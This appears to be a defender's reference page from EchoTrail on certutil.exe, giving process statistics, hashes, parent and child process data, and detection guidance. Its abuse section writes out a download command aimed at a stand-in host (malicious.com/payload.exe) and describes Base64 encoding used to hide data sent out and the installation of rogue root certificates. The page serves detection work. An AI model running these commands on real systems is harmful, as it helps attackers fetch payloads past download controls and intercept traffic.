certutil.exe
Summary
Certificate Utility (certutil.exe) manages certificates, certificate stores, and Certificate Services on Windows. It can also encode/decode files using Base64 and hex, verify file hashes, and download files via URL.
certutil.exe is the 337th most commonly executed Windows program in EchoTrail's dataset, observed 26,544 times across enterprise environments. It typically runs from C:\Windows\System32 and it is most often launched by powershell.exe.
Behavior
Top Paths
- C:\Windows\System3296.58%
- C:\Windows\SysWOW641.64%
- C:\Program Files\Intel\Intel(R) Online Connect Access\certutil1.13%
- C:\Program Files (x86)\VMware\Plug-in Service0.41%
- C:\Program Files (x86)\VMware\Client Integration Plug-in 6.00.23%
- C:\Program Files\ZeroTier\ZeroTier One Virtual Network Port\zttap300<0.01%
Top Hashes (SHA256)
- e2a5fb1ca722474b76d6da5c5b1d438a1e58beca52864862555c9ab1b533e72d29.66%
- ccd90e5850a1b5853ff807fcebedca42fa2015d0792946f41a35bcf50cbd368413.69%
- 9d8eceef7830476102c2cbbe933e1375ffb624574a63bdd8d3b15d3030c9a16d13.27%
- 1d3f77bb3fbaa7ef49892a5f028a5b14171b542cc6ed39e584b0472a75ecfda511.69%
- 22d1471ed17c681aa5580c59712005e1c70ef9c306cbcad245a64f7dfae478478.89%
- 16fe23a142fe13342950b255d1713b922a9a88e5aa7551584b5034e0c635bdb55.43%
- df28158ea229ab67f828328fc01ea7629f3b743ecea8c0b88fba80cd7efc3a753.67%
- 33321e0fbfa24aa931d7db93c5e9245d8499f2d5c8f2f4b22074a385c02d19c03.48%
- a15f554cce4e5ea0e66bfbd21d0d0934e40ddb5541e8af99b9eac82a39a367132.77%
- 7f924c38130a582fc3b6f94f388234789569c3d8101fd471925217d0f62121752.07%
Process Ancestry
Top Grandparents
- msiexec.exe20.9%
- vmware-cip-launcher.exe12.47%
- chrome.exe7.04%
- cmd.exe5.43%
- explorer.exe2.31%
- nmap-7.70-setup.exe0.69%
- browser_broker.exe0.12%
Top Parents
- powershell.exe95.24%
- cmd.exe1.98%
- cscript.exe1.04%
- vmware-cip-init.exe0.41%
- vmware-csd.exe0.23%
- msiexec.exe0.11%
- python.exe0.1%
- rundll32.exe0.03%
Top Children
- conhost.exe100%
Rare or environment-specific process names are omitted from ancestry tables. Percentages are of all observed relationships.
Security Analysis
What does certutil.exe normally do?
Located in C:\Windows\System32 or C:\Windows\SysWOW64. In this dataset, predominantly launched by powershell.exe and cmd.exe. Used for certificate management, CA configuration, and PKI operations.
When is certutil.exe suspicious?
Downloading files: certutil -urlcache -split -f <URL>. Encoding/decoding: certutil -encode or certutil -decode (Base64 file operations). Running from non-System32 paths. Spawned by unusual parents (Office applications, w3wp.exe).
How do attackers abuse certutil.exe?
File download: certutil -urlcache -split -f http://malicious.com/payload.exe downloads files using a signed Microsoft binary, bypassing many download controls. Base64 encode/decode: used to decode dropped payloads or encode data for exfiltration. Hash verification: certutil -hashfile used for reconnaissance (verifying file integrity of targets). Certificate store manipulation: installing rogue CA certificates for TLS interception.
Detection guidance
High-confidence: certutil with -urlcache and -f flags (file download). certutil with -encode or -decode (payload manipulation). certutil launched by Office applications or w3wp.exe. Medium-confidence: certutil -addstore adding certificates to the root store. Monitor Sysmon Event ID 1 for command-line patterns and Event ID 3 for network connections.
False positive notes
PowerShell scripts managing certificates use certutil legitimately. PKI infrastructure management. Some monitoring tools hash-check files via certutil. Focus on the specific flags (-urlcache, -encode, -decode) rather than all certutil usage.
Related Processes
Ask Rocky about certutil.exe
Rocky answers questions about certutil.exe grounded in this same dataset — free, no account needed.
Need this data programmatically? The Rocky API includes 500 free lookups a month. Or just ask Rocky.
Data from EchoTrail's dataset of ~346M Windows process executions. Last extracted 2026-08-04.